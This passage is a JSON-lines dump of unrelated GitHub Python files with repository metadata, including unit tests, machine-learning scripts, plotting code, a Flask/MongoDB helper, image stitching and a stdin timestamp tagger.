self.assertTrue(cache is not None)\n cache.listOfTilesCached()\n self.assertTrue(len(cache.listOfTilesFromLayout()) > 0)\n cache.get(tile_id='test')\n cache.set(tile_id='test', dumped_value=json.dumps({'testValue': True}))\n cache.createTile(tile_id='test', value={'test': True}, tile_template='test')\n\n def test_0060_checkToken(self):\n request = self.fakeClient.get('')\n checkAccessToken(method='GET', request=request, unsecured=True)\n checkAccessToken(method='GET', request=request, unsecured=False)\n\n def test_0070_api(self):\n from src.tipboard.app.properties import API_KEY, API_VERSION\n self.fakeClient.post('api/' + API_VERSION + '/' + API_KEY + '/update')\n self.fakeClient.post('api/' + API_VERSION + '/' + API_KEY + '/tileconfig/' + 'TEST_TILE')\n self.fakeClient.post('api/' + API_VERSION + '/' + API_KEY + '/push')\n self.fakeClient.post('api/' + API_VERSION + '/' + API_KEY + '/update')\n self.assertTrue(True)\n\n def test_0080_test_sensors(self):\n launch_sensors(isTest=True)\n\n\nclass SomeLiveTests(ChannelsLiveServerTestCase):\n\n @pytest.mark.asyncio\n async def test_0090_test_consumer(self):\n communicator = HttpCommunicator(WSConsumer, 'GET', '/communication/websocket')\n response = await communicator.get_response()\n self.assertTrue(response['status'] == 200)\n","repo_name":"adeo/benchmark-tipboard","sub_path":"src/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"31778365055","text":"import CorrelatedAutomata as CA\r\n\r\nLearningRate = 0.01\r\nMemorySize = 20\r\niterations = 1000\r\nadversarial = False\r\ntests_count = 100\r\n\r\nEQUAL = [[+1,-1],[-1,+1]]\r\nXOR = [[-1,+1],[+1,-1]]\r\nCHSH = [[CA.Coordinated(EQUAL), CA.Coordinated(EQUAL)],\r\n [CA.Coordinated(EQUAL), CA.Coordinated(XOR)]]\r\n\r\nqq, cc = [[] for i in range(iterations)], [[] for i in range(iterations)]\r\nfor tests in range(tests_count):\r\n c = CA.play(CHSH, CA.ClassicalCorrelation(RegisterSize=2), LearningRate, MemorySize, iterations)\r\n q = CA.play(CHSH, CA.QuantumCorrelation(RegisterSize=2), LearningRate, MemorySize, iterations)\r\n for i,x in enumerate(c): cc[i].append(x)\r\n for i,x in enumerate(q): qq[i].append(x)\r\n print(f\"{tests+1}\\t{c[-1]}\\t{q[-1]}\")\r\n\r\nwith open(f\"chsh_{tests}_averages.csv\", \"w\") as stats:\r\n stats.write(f\"Step\\tAverage payoff of Classical automata\\ttAverage payoff (over of Quantum automata\\n\")\r\n for step, (average_payoff_classical, average_payoff_quantum) in enumerate(zip(cc,qq)):\r\n average_payoff_classical = sum(average_payoff_classical) / len(average_payoff_classical)\r\n average_payoff_quantum = sum(average_payoff_quantum)/len(average_payoff_quantum)\r\n stats.write(f\"{step+1}\\t{average_payoff_classical}\\t{average_payoff_quantum}\\n\")\r\n","repo_name":"quantum-games/CorrelatedAutomata","sub_path":"chsh.py","file_name":"chsh.py","file_ext":"py","file_size_in_byte":1289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"38008033742","text":"'''\nFunction:\n Define the focal loss\nAuthor:\n Zhenchao Jin\n'''\nimport torch\nimport torch.nn.functional as F\nfrom mmcv.ops import sigmoid_focal_loss\n\n\n'''\nFunction:\n SigmoidFocalLoss\nArguments:\n --prediction: prediction of the network\n --target: ground truth\n --scale_factor: scale the loss for loss balance\n --lowest_loss_value: added inspired by ICML2020, \"Do We Need Zero Training Loss After Achieving Zero Training Error\", https://arxiv.org/pdf/2002.08709.pdf\n'''\ndef SigmoidFocalLoss(prediction, target, scale_factor=1.0, gamma=2, alpha=0.25, weight=None, reduction='mean', ignore_index=None, lowest_loss_value=None):\n # filter according to ignore_index\n if ignore_index is not None:\n num_classes = prediction.size(-1)\n mask = (target != ignore_index)\n prediction, target = prediction[mask].view(-1, num_classes), target[mask].view(-1)\n # calculate the loss\n loss = sigmoid_focal_loss(prediction, target.long(), gamma, alpha, weight, reduction)\n # scale the loss\n loss = loss * scale_factor\n # return the final loss\n if lowest_loss_value:\n return torch.abs(loss - lowest_loss_value) + lowest_loss_value\n return loss","repo_name":"miaoct/MSCCNet","sub_path":"utils/losses/focalloss.py","file_name":"focalloss.py","file_ext":"py","file_size_in_byte":1195,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"60"} +{"seq_id":"33646707156","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue May 22 14:25:00 2018\n\n@author: Mauro\n\"\"\"\n\n#==============================================================================\n# Snake class\n#==============================================================================\n\nimport vec, poly\nimport copy\n\n# to do: make segment smaller in the directions orthogonal to the direction\n# this will make the snake less simmetric\n# head could be a thetra hedron or half a hypersphere on top of\n# cylinder\n\nclass Snake:\n \n def __init__(self):\n # position of the head\n self.head_pos = vec.V4(0, 0, 0, 0)\n # direction\n self.head_dir =\"UP\"\n #initial size\n init_size = 4\n \n # polygon list of the snake\n self.p_list = []\n \n for i in range(init_size):\n next_cube_center = self.head_pos - vec.V4( (init_size - 1) - i, 0, 0 , 0)\n next_cube = self.create_cube(next_cube_center)\n self.p_list.append(next_cube)\n \n # generate the directions vectors and forbbidden directions\n possible_dirs = [\"UP\", \"DOWN\", \"LEFT\", \"RIGHT\", \"FW\", \"RW\", \"IN\", \"OUT\"]\n \n self.dir_v = {}\n self.opposite_dir = {}\n for i, direction in enumerate(possible_dirs):\n # generate direction vectors\n v = [0, 0, 0, 0]\n v[int(i / 2)] = 1 if i % 2 == 0 else -1\n self.dir_v[direction] = vec.V4(v)\n \n # generate forbidden directions (ex. UP -> cant go DOWN)\n self.opposite_dir[direction] = possible_dirs[i + (1 if i % 2 == 0 else -1)] \n \n # create an hypercube segment\n def create_cube(self, point):\n return poly.create_cube4d(point, 1., \"green\")\n \n def change_dir(self, new_dir):\n if new_dir != self.opposite_dir[self.head_dir]:\n self.head_dir = new_dir\n return True\n else:\n return False\n \n def move(self):\n # move the snake head\n self.head_pos = self.head_pos + self.dir_v[self.head_dir]\n \n # move the snake body by popping the last element and adding a\n # segment in the head \n self.p_list.pop(0)\n self.p_list.append(self.create_cube(self.head_pos))\n \n def add_segment(self):\n # copy the last block\n last_block = copy.deepcopy(self.p_list[-1])\n # add to polygon list\n self.p_list.append(last_block)\n\n\nif __name__ == \"__main__\":\n \n pass\n ","repo_name":"xiaoyu2006/Snake4d","sub_path":"src/snake.py","file_name":"snake.py","file_ext":"py","file_size_in_byte":2508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"60"} +{"seq_id":"17090647546","text":"import numpy as np\nfrom matplotlib import pyplot as plt \nimport seaborn as sns\nimport pandas as pd\nYall=pd.read_csv('./Yall.csv',encoding='gbk',header=None)\nYall=Yall.values\nYReal=Yall[:,1]\nYPred=Yall[:,0]\nfont={'family':'Times New Roman',\n 'weight':'normal',\n 'size':14}\ncolorset =['darkorange','red','dusty purple','greyish','green']\nmarkerset=['^','v','o','d','s','*']\nmethodname=['CwSOFNN']\nxIteration=[i for i in range(200)]\n\nR2=[0.94]\nRMSE=[0.014]\n\nYpredTest=YPred\nplt.figure(figsize=[9,2],dpi=300)\nplt.plot(xIteration,YpredTest,color=sns.xkcd_rgb['red'],lw=3,label=methodname[i])\nplt.plot(xIteration,YReal,color=sns.xkcd_rgb['blue'],lw=3,label='Real Vaule')\nplt.grid(True)\nplt.grid(True)\nplt.xticks(fontproperties='Times New Roman',size=14)\nplt.yticks(fontproperties='Times New Roman',size=14)\nplt.legend(prop=font)\nplt.xlabel(r'Samples',font)\nplt.ylabel(r'Vaule',font)\nbbox_props = dict(boxstyle=\"round\",fc=\"w\", ec=\"0.8\",lw=1,alpha=0.9)\nplt.text(100,0.53,r\"$R^2$=\"+str(R2[i])+\" RMSE=\"+str(RMSE[i]),\n fontsize=16,\n fontname='Times New Roman',\n color=\"k\",\n verticalalignment ='top', \n horizontalalignment ='center',\n bbox =bbox_props\n )\n#plt.savefig('./AEPPrediction'+str(i)+'.png',bbox_inches = 'tight')\n\n\n\n","repo_name":"wjiecsu/CwSFNN","sub_path":"Result/Figmain2.py","file_name":"Figmain2.py","file_ext":"py","file_size_in_byte":1273,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"70005829630","text":"\nStack = []\nwhile True:\n x = int(input(\"Enter an int vaue (<0 to end) :\"))\n if x < 0:\n break\n Stack.append(x)\n print(f'Stack size = {len(Stack)} Stack data = {Stack}')\n \nfor i in range(len(Stack)):\n print(f'Stack of pop = {Stack.pop()}')\n","repo_name":"OhmMiee/Lire","sub_path":"str.py","file_name":"str.py","file_ext":"py","file_size_in_byte":263,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"26761813481","text":"from pymongo import MongoClient\nfrom flask import session\n\nclient=MongoClient(\"mongodb://localhost:27017\")\ndb=client['amazon']\n\ndef user_exists(username):\n\tquery={'username':username}\n\tresult=db['users'].find_one(query)\n\tif bool(result):\n\t\treturn result\n\treturn False\n\ndef save_user(user_info):\n\tdb['users'].insert_one(user_info)\n\ndef product_exists(productname):\n\tquery={'name':productname}\n\tresult=db['products'].find_one(query)\n\tif bool(result):\n\t\treturn result\n\treturn False\n\ndef add_product(product_info):\n\tdb['products'].insert_one(product_info)\n\ndef products_list():\n\tif session['c_type']=='seller':\n\t\tresult=db['products'].find({})\n\t\treturn result\n\tquery={\"Seller\":session['username']}\n\tresult=db['products'].find(query)\n\treturn result\n\ndef remove_from_db(name):\n\tquery={\"name\":name}\n\tdb['products'].remove(query)\n\treturn redirct(url_for('products'))","repo_name":"sameerbadami007/Mini-Amazon","sub_path":"models/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"6151743644","text":"import os \n\nimport numpy as np \nimport tensorflow as tf \n\nimport pickle \n\nfrom gpml2 import GPML \nfrom maml import MAML \nfrom tqdm import tqdm\n\nimport cosine_task\nimport cosine_line_task\nimport polynomial_task \nimport sensor_task \nimport noisy_sine_task\n\nfrom NetApproximator import NetApproximator \n\n\nmethod = \"gml\"\ntask_name = \"polynomial\"\n\nif task_name == \"cosine\":\n task = cosine_task\nelif task_name == \"noisysine\":\n task = noisy_sine_task\nelif task_name == \"cosineline\":\n task = cosine_line_task\nelif task_name == \"polynomial\":\n task = polynomial_task \nelif task_name == 'sensorlight':\n task = sensor_task.Sensor('light', selected_hour='all')\n\n\nnp.random.seed(0)\ntf.set_random_seed(1)\n\n\ndtype = tf.float64 \nxdim = task.xdim\nydim = task.ydim\n\n\nn_inducing_tasks = 8\ntraining_task_batchsize = 5\ntraining_task_datasize = 5\nn_step = 1\nuse_samples = True\nis_pivot_X_adaptive_in_Kuu = True\nn_pivot_X = 100 # used to create pivot_X if pivot_X is not adaptive\n\n\nif method == \"gpml\" or method == \"gml\":\n\n folder = \"{}/gml{}_{}_u{}_batch{}_k{}_nstep{}\".format(\n task_name,\n \"Bayes\" if use_samples else \"\",\n \"adt\" if is_pivot_X_adaptive_in_Kuu else \"fix\",\n n_inducing_tasks,\n training_task_batchsize,\n training_task_datasize,\n n_step\n )\n\nelif method == \"maml\":\n\n folder = \"{}/maml_batch{}_k{}_nstep{}\".format(task_name, \n training_task_batchsize,\n training_task_datasize,\n n_step)\n\npath_to_load = \"{}/params.p\".format(folder)\n\nwith open(path_to_load, \"rb\") as readfile:\n print(\"Load params from {}\".format(path_to_load))\n learned_params = pickle.load(readfile)\n\n\nprint(\"For simplicity: assuming ydim = 1\")\nassert ydim == 1, \"only handle 1d output\"\n\ndtype = tf.float64\n\nif task_name == \"noisysine\":\n netapprox = NetApproximator(xdim, \n layer_sizes = [40, 40, 40, 1], \n activations = ['relu', 'relu', 'relu', 'linear'])\nelse:\n netapprox = NetApproximator(xdim, \n layer_sizes = [40, 40, 1], \n activations = ['relu', 'relu', 'linear'])\n\nif method == \"gpml\" or method == \"gml\":\n\n pivot_X, _, _ = task.get_random_datasets(1, n_pivot_X)\n pivot_X = pivot_X[0,...]\n\n metalearn = GPML(\n xdim = task.xdim,\n ydim = task.ydim,\n\n approximator = netapprox,\n task = task,\n\n n_inducing_tasks = n_inducing_tasks,\n\n training_task_batchsize = training_task_batchsize,\n training_task_datasize = training_task_datasize,\n\n stepsize = 1e-3,\n n_step = n_step,\n\n use_samples = use_samples,\n n_predicted_param_sample = 10,\n\n is_pivot_X_adaptive_in_Kuu = is_pivot_X_adaptive_in_Kuu,\n pivot_X = pivot_X, # (nXu, xdim)\n \n dtype = dtype\n )\n\nelif method == \"maml\":\n\n metalearn = MAML(\n xdim = task.xdim,\n ydim = task.ydim,\n\n approximator = netapprox,\n task = task,\n\n training_task_batchsize = training_task_batchsize,\n training_task_datasize = training_task_datasize,\n\n stepsize = 1e-3,\n n_step = n_step,\n\n dtype = dtype\n )\n\n n_predicted_param_sample = 1\n\n \n# Testing with new tasks\n\ngraph = tf.Graph()\n\nwith graph.as_default():\n x_plc = tf.placeholder(dtype=dtype,\n shape=(None, None, None, task.xdim))\n # (n_theta_sample|1, ndataset, npoint, xdim)\n\n param_plc = tf.placeholder(dtype=dtype,\n shape=(None, None, netapprox.n_param)) \n # (n_theta_sample, ndataset|1, n_param)\n\n predicted_y = netapprox.predict(x_plc, param_plc)\n # (n_theta_sample, ndataset, npoint, ydim)\n\n\n\n# Evaluated on a large number of tesk tasks\nseed = 0\nnp.random.seed(seed)\nif task_name.startswith(\"sensor\"):\n n_total_tesk_task = 1000\nelse:\n n_total_tesk_task = 100\n\n\nn_test_tasks = metalearn.training_task_batchsize\nn_repetitions = int(n_total_tesk_task / n_test_tasks)\nn_total_tesk_task = n_repetitions * n_test_tasks\n\nprint(\"n_repetitions: \", n_repetitions)\nprint(\"n_test_task: \", n_test_tasks)\nprint(\"n_total_test_task\", n_total_tesk_task)\n\nn_test_datapoints = 1000\n\npath_mse = \"{}/mse_ntask{}_npoint{}_seed{}.p\".format(\n folder, \n n_total_tesk_task, \n n_test_datapoints, \n seed)\n\n\nmse_all = np.zeros(n_total_tesk_task)\nupdated_mse_all = np.zeros(n_total_tesk_task)\n\nfor rep_idx in tqdm(range(n_repetitions)):\n\n if task_name.startswith(\"sensor\"):\n X_np, Y_np, test_params_np = task.get_random_datasets(\n n_test_tasks,\n metalearn.training_task_datasize + n_test_datapoints,\n is_training=False,\n )\n\n n_test_tasks = X_np.shape[0]\n n_test_datapoints = X_np.shape[1] - metalearn.training_task_datasize\n\n else:\n X_np, Y_np, test_params_np = task.get_random_datasets(\n n_test_tasks,\n metalearn.training_task_datasize + n_test_datapoints\n )\n\n X_train_np = X_np[:,:metalearn.training_task_datasize,:]\n Y_train_np = Y_np[:,:metalearn.training_task_datasize,:]\n X_test_np = X_np[:,metalearn.training_task_datasize:,:]\n Y_test_np = Y_np[:,metalearn.training_task_datasize:,:]\n\n\n if method == \"gpml\" or method == \"gml\":\n mean_theta_np, std_theta_np, theta_samples_np, updated_theta_samples_np \\\n = metalearn.predict_param(\n X_train_np, \n Y_train_np, \n learned_params)\n # theta_samples_np: (n_theta_sample, ndataset, ntheta)\n\n elif method == \"maml\":\n theta_samples_np, updated_theta_samples_np \\\n = metalearn.predict_param(\n X_train_np, \n Y_train_np, \n learned_params)\n\n theta_samples_np = theta_samples_np.reshape(1,1,-1)\n\n with tf.Session(graph=graph) as sess:\n predicted_y_np = sess.run(predicted_y,\n feed_dict = {\n x_plc: np.expand_dims(\n X_test_np, axis=0) ,\n param_plc: theta_samples_np\n })\n # (n_theta_sample, ndataset, npoint, ydim)\n\n predicted_updated_y_np = sess.run(predicted_y,\n feed_dict = {\n x_plc: np.expand_dims(\n X_test_np, axis=0) ,\n param_plc: updated_theta_samples_np\n })\n # (n_theta_sample, ndataset, npoint, ydim)\n\n # Y_test_np.shape = (ndataset, npoint, ydim)\n\n mse = np.mean(\n np.mean(\n np.mean(np.square(predicted_y_np - Y_test_np), axis=-1), # avg ydim\n axis=-1), # avg npoint\n axis = 0) # avg theta_sample\n # (ndataset,)\n \n updated_mse = np.mean(\n np.mean(\n np.mean(np.square(predicted_updated_y_np - Y_test_np), axis=-1),\n axis=-1),\n axis = 0)\n # (ndataset,)\n\n mse_all[(rep_idx*n_test_tasks):(rep_idx*n_test_tasks + n_test_tasks)] = mse\n updated_mse_all[(rep_idx*n_test_tasks):(rep_idx*n_test_tasks + n_test_tasks)] = updated_mse\n\nprint(\"MSE.shape = \", mse_all.shape)\nprint(\"MSE: mean {} std {}\".format(np.mean(mse_all), np.std(mse_all)))\nprint(\"MSE updated: mean {} std {}\".format(np.mean(updated_mse_all), np.std(updated_mse_all)))\n\n\nwith open(path_mse, \"wb\") as writefile:\n pickle.dump({\"mse\": mse_all,\n \"updated_mse\": updated_mse_all}, \n writefile, \n protocol=pickle.HIGHEST_PROTOCOL)\n","repo_name":"qphong/gpml","sub_path":"get_mse_loss.py","file_name":"get_mse_loss.py","file_ext":"py","file_size_in_byte":7671,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"26409111514","text":"# Run this app with `python app.py` and\n# visit http://127.0.0.1:8050/ in your web browser.\n\nimport dash\nimport dash_core_components as dcc\nimport dash_html_components as html\n\nexternal_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css']\n\napp = dash.Dash(__name__, external_stylesheets=external_stylesheets)\n\nmarkdown_text = '''\n### Dash and Markdown\n\nDash apps can be written in Markdown.\nDash uses the [CommonMark](http://commonmark.org/)\nspecification of Markdown.\nCheck out their [60 Second Markdown Tutorial](http://commonmark.org/help/)\nif this is your first introduction to Markdown!\n'''\n\napp.layout = html.Div([\n dcc.Markdown(children=markdown_text)\n])\n\nif __name__ == '__main__':\n app.run_server(debug=True)\n","repo_name":"plotly/dash-docs","sub_path":"dash_docs/chapters/getting_started/examples/getting_started_markdown.py","file_name":"getting_started_markdown.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"en","doc_type":"code","stars":370,"dataset":"github-code","pt":"60"} +{"seq_id":"18150233098","text":"from Tkinter import *\nfrom PIL import Image,ImageTk\n\nroot=Tk()\nroot.title(\"Hello, People\")\nroot.iconbitmap('@index.xbm')\n\nmy_img=ImageTk.PhotoImage(Image.open(\"index.png\")) #image is in same location as .py file\nmy_label=Label(image=my_img)\nmy_label.pack()\n\n\nbutton_quit=Button(root,text=\"Exit Program\",command=root.quit)\nbutton_quit.pack()\n\nroot.mainloop()\n","repo_name":"SurajKB11/Python_Tkinter_Module_1","sub_path":"new.py","file_name":"new.py","file_ext":"py","file_size_in_byte":358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"1025787244","text":"import cv2\nimport os\nimport numpy as np\nimport glob\nfrom PIL import Image\nimport random\nimport time\nimport sys\nimport matplotlib.pyplot as plt\n\n\ndef cv_imread(file_path):\n # 读取中文路径下的图片\n cv_img = cv2.imdecode(np.fromfile(file_path, dtype=np.uint8), -1)\n if cv_img.shape[-1] == 4:\n cv_img = cv2.cvtColor(cv_img, cv2.COLOR_RGBA2RGB)\n return cv_img\n\n\ndef detect(image):\n # 转化为灰度图\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n # 创建SIFT生成器\n # descriptor是一个对象，这里使用的是SIFT算法\n descriptor = cv2.xfeatures2d.SIFT_create()\n # 检测特征点及其描述子（128维向量）\n kps, features = descriptor.detectAndCompute(image, None)\n return kps, features\n\n\ndef show_points(image):\n image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n descriptor = cv2.SIFT_create()\n image = cv2.GaussianBlur(image, (5, 5), 0)\n kps, features = descriptor.detectAndCompute(image, None)\n print(f\"特征点数：{len(kps)}\")\n img_left_points = cv2.drawKeypoints(image, kps, image)\n plt.figure(figsize=(9,9))\n plt.imshow(img_left_points)\n plt.show()\n\n\ndef rotate_bound(image, angle):\n # 获取图像的尺寸\n # 旋转中心\n (h, w) = image.shape[:2]\n (cx, cy) = (w / 2, h / 2)\n\n # 设置旋转矩阵\n M = cv2.getRotationMatrix2D((cx, cy), -angle, 1.0)\n cos = np.abs(M[0, 0])\n sin = np.abs(M[0, 1])\n\n # 计算图像旋转后的新边界\n nW = int((h * sin) + (w * cos))\n nH = int((h * cos) + (w * sin))\n\n # 调整旋转矩阵的移动距离（t_{x}, t_{y}）\n M[0, 2] += (nW / 2) - cx\n M[1, 2] += (nH / 2) - cy\n return cv2.warpAffine(image, M, (nW, nH))\n\n\ndef main_2():\n img_1 = cv_imread(r\"./抓图图示/0位置/5位置.jpg\")\n img_2 = cv_imread(r\"./抓图图示/25位置/20位置.jpg\")\n # kps, features = detect(img_1)\n img_flip = rotate_bound(img_1, 270)\n show_points(img_1)\n # cv2.namedWindow(\"test_stitch\", 0)\n # cv2.resizeWindow(\"test_stitch\", 1000, 1000)\n cv2.imshow(\"img_1\", img_1)\n cv2.imshow(\"img_flip\", img_flip)\n cv2.waitKey(0)\n\n\ndef main_1():\n t1 = time.time()\n # img_1 = cv_imread(r\"./抓图图示/0位置/0位置(最高）.jpg\")\n img_1 = cv_imread(r\"./抓图图示/0位置/5位置.jpg\")\n img_2 = cv_imread(r\"./抓图图示/25位置/20位置.jpg\")\n img_3 = cv_imread(r\"./抓图图示/50位置/45位置.jpg\")\n img_4 = cv_imread(r\"./抓图图示/75位置/70位置.jpg\")\n img_5 = cv_imread(r\"./抓图图示/100位置/100位置（最低）.jpg\")\n output = 'result3.jpg'\n\n # img_1 = rotate_bound(img_1, 270)\n # img_2 = rotate_bound(img_2, 270)\n # img_3 = rotate_bound(img_3, 270)\n # img_1 = cv2.GaussianBlur(img_1, (5, 5), 0)\n # img_2 = cv2.GaussianBlur(img_2, (5, 5), 0)\n # cv2.imshow(\"img_1\", img_1)\n # cv2.imshow(\"img_2\", img_2)\n # cv2.imshow(\"img_3\", img_3)\n # cv2.waitKey(0)\n\n imgs = []\n imgs.append(img_1)\n imgs.append(img_2)\n imgs.append(img_3)\n imgs.append(img_4)\n imgs.append(img_5)\n\n stitcher = cv2.Stitcher_create(cv2.Stitcher_SCANS) # cv.Stitcher_SCANS , STITCHER_PANORAMA\n status, pano = stitcher.stitch(imgs)\n if status != cv2.Stitcher_OK:\n print(\"Can't stitch images, error code = %d\" % status)\n sys.exit(-1)\n cv2.imwrite(output, pano)\n print(\"stitching completed successfully. %s saved!\" % output)\n\n print(\"拼接耗时：\", time.time()-t1)\n cv2.namedWindow(\"test_stitch\", 0)\n cv2.resizeWindow(\"test_stitch\", 1000, 1000)\n cv2.imshow(\"test_stitch\", output)\n cv2.waitKey(0)\n\n\nif __name__ == '__main__':\n main_1()\n","repo_name":"WLSheng/imageStitch","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3633,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"19034740139","text":"#!/usr/bin/env python2\n\"\"\"\nAuthor :Sriharsha B S\nEmail :sribs@microsoft.com\nDescription :Script to create a graph about CPU usage : User, System, iowait\nDependencies :Python 2.x, matplotlib\nUsage :python contextsw.py\n\"\"\"\nfrom datetime import datetime as dt\nimport random\nimport matplotlib.pyplot as plt\nimport csv\nimport matplotlib\n\nplt.rcParams.update({'font.size': 8})\nplt.rcParams['lines.linewidth'] = 1.5\ntime_format = matplotlib.dates.DateFormatter('%H:%M:%S')\nplt.gca().xaxis.set_major_formatter(time_format)\nplt.gcf().autofmt_xdate()\n\nx=[]\nsystem_cpu=[]\nuser_cpu=[]\nidle_cpu=[]\nio_wait=[]\n# make up some data\nwith open('../../data/cpu.dat', 'r') as csvfile:\n data_source = csv.reader(csvfile, delimiter=' ', skipinitialspace=True)\n for row in data_source:\n # [0] column is a time column\n # Convert to datetime data type\n x.append(dt.strptime((row[0]),'%H:%M:%S'))\n # The remaining columns contain data\n user_cpu.append(float(row[2]))\n system_cpu.append(float(row[4]))\n idle_cpu.append(float(row[7]))\n io_wait.append(float(row[5]))\n# Plot lines\nplt.plot(x,user_cpu, label='User %', color='g', antialiased=True)\nplt.plot(x,system_cpu, label='System %', color='r', antialiased=True)\nplt.plot(x,idle_cpu, label='Idle %', color='b', antialiased=True)\nplt.plot(x,io_wait, label='IO Wait %', color='c', antialiased=True)\n\n# Graph properties\nplt.xlabel('Time',fontstyle='italic')\nplt.ylabel('CPU %',fontstyle='italic')\nplt.title('CPU usage graph')\nplt.grid(linewidth=0.4, antialiased=True)\nplt.legend(loc='upper center', bbox_to_anchor=(0.5, -0.15), ncol=2, fancybox=True, shadow=True)\nplt.autoscale(True)\n\n# Graph saved to PNG file\nplt.savefig('../../graphs/cpu.png', bbox_inches='tight')\nplt.show()\n# beautify the x-labels\n#plt.gcf().autofmt_xdate()\n\n\n","repo_name":"sribs/graphsar","sub_path":"matplotlib/cpu.py","file_name":"cpu.py","file_ext":"py","file_size_in_byte":1841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"41251452753","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function, unicode_literals, division\n\nimport argparse\nimport datetime\nimport os\nimport sys\n\ntry:\n import pytz\n UnknownTimeZoneError = pytz.exceptions.UnknownTimeZoneError\nexcept ImportError:\n pytz = None\n class UnknownTimeZoneError(Exception):\n pass\n\n\n__version__ = '1.1.0'\n\nMAX_LINE_LENGTH = 4096\nINPUT_LINE_SEPARATOR = os.linesep\nOUTPUT_LINE_SEPARATOR = os.linesep\nINPUT_ENCODING = 'utf-8'\nTIMESTAMP_FORMAT = '%Y-%m-%d %H:%M:%S.%f'\nTIMESTAMP_TIMEZONE = None\n\n\nclass Timezone(datetime.tzinfo):\n def __init__(self, offset):\n self._offset = offset\n self._name = offset\n\n def utcoffset(self, dt):\n return self._offset\n\n def tzname(self, dt):\n return self._name\n\n def dst(self, dt):\n return datetime.timedelta(0)\n\n\ndef get_timezone(name):\n if not name:\n return None\n\n try:\n name = int(name)\n offset = datetime.timedelta(minutes=name)\n return Timezone(offset)\n except ValueError:\n pass\n\n if ':' in name:\n hours, minutes = name.split(':')\n if name.startswith('-'):\n hours = hours.lstrip('-')\n minus = -1\n else:\n minus = 1\n\n offset = datetime.timedelta(hours=int(hours) * minus, minutes=int(minutes) * minus)\n return Timezone(offset)\n\n if pytz:\n return pytz.timezone(name)\n\n if name.upper() == 'UTC':\n return Timezone(datetime.timedelta(0))\n\n raise UnknownTimeZoneError(name)\n\n\ndef parse_args(argv):\n prog_version = \"%%(prog)s %s\" % __version__\n\n usage = 'Read standard input, decorate it with timestamp and optional tag, ' \\\n 'and print decorated line to standard output'\n\n # pylint: disable=invalid-name, bad-continuation\n p = argparse.ArgumentParser(usage=usage)\n p.add_argument('--max-line-length', '-m', type=str, default=MAX_LINE_LENGTH)\n p.add_argument('--input-line-separator', '-l', type=str, default=INPUT_LINE_SEPARATOR,\n help='Use INPUT_LINE_SEPARATOR as line separator')\n p.add_argument('--input-encoding', '-i', type=str, default=INPUT_ENCODING,\n help='Decode input from INPUT_ENCODING')\n p.add_argument('--timestamp-format', '-t', type=str, default=TIMESTAMP_FORMAT,\n help=\n 'Specify format of timestamp. Please look at https://docs.python.org/3/library/datetime.html'\n '?highlight=time%%20strftime#strftime-and-strptime-behavior for available formats. '\n 'Default is \"%(default)s\".'\n )\n p.add_argument('--timezone', '-z', type=str, default=TIMESTAMP_TIMEZONE,\n help=\n 'Timezone used for timestamps. If pytz module is available, you can use timezones names. '\n 'If not, please specify offset as an number of minutes or in format HH:MM. '\n 'Default is local timezone.'\n )\n p.add_argument('--additional-tag', '-a', type=str, default=None,\n help='Additional tag between timestamp and input line. Default: empty')\n p.add_argument('--version', '-v', action='version', version=prog_version)\n\n args = p.parse_args(argv)\n if args.input_line_separator == r'\\r':\n args.input_line_separator = '\\r'\n elif args.input_line_separator == r'\\n':\n args.input_line_separator = '\\n'\n elif args.input_line_separator == r'\\r\\n':\n args.input_line_separator = '\\r\\n'\n\n try:\n args.timezone = get_timezone(args.timezone)\n except UnknownTimeZoneError:\n p.error('Invalid timezone: %s' % (args.timezone, ))\n\n return args\n\n\ndef main():\n args = parse_args(sys.argv[1:])\n is_new_line = True\n should_decode = None\n while True:\n try:\n line = sys.stdin.readline(args.max_line_length)\n if should_decode is None:\n should_decode = hasattr(line, 'decode')\n if should_decode:\n line = line.decode(args.input_encoding)\n if line == '':\n break\n\n if is_new_line:\n timestamp = datetime.datetime.now(args.timezone)\n sys.stdout.write('%s%s %s' % (\n timestamp.strftime(args.timestamp_format),\n '' if args.additional_tag is None else ' %s' % args.additional_tag,\n line\n ))\n else:\n sys.stdout.write(line)\n\n is_new_line = line.endswith(args.input_line_separator)\n if is_new_line:\n sys.stdout.flush()\n\n except KeyboardInterrupt:\n break\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"msztolcman/stdin-tagger","sub_path":"stdin_tagger.py","file_name":"stdin_tagger.py","file_ext":"py","file_size_in_byte":4621,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"27756139707","text":"\"\"\"http://www.pythonchallenge.com/pc/def/euality.html\n\"\"\"\n\n# Just like the previous level, here we have a blob\n# of text in the end of the page HTML source.\n# The blob has lots of special characters and\n# starts with:\n# \", nuisance)\n scale = self.nuisances[nuisance]\n line_ = \"{0:<10}\".format(nuisance)\n for process, _, _ in self.rates:\n if process in scale:\n line_ += \"{0:>15}\".format(\"%.3f\" % scale[process])\n else:\n line_ += 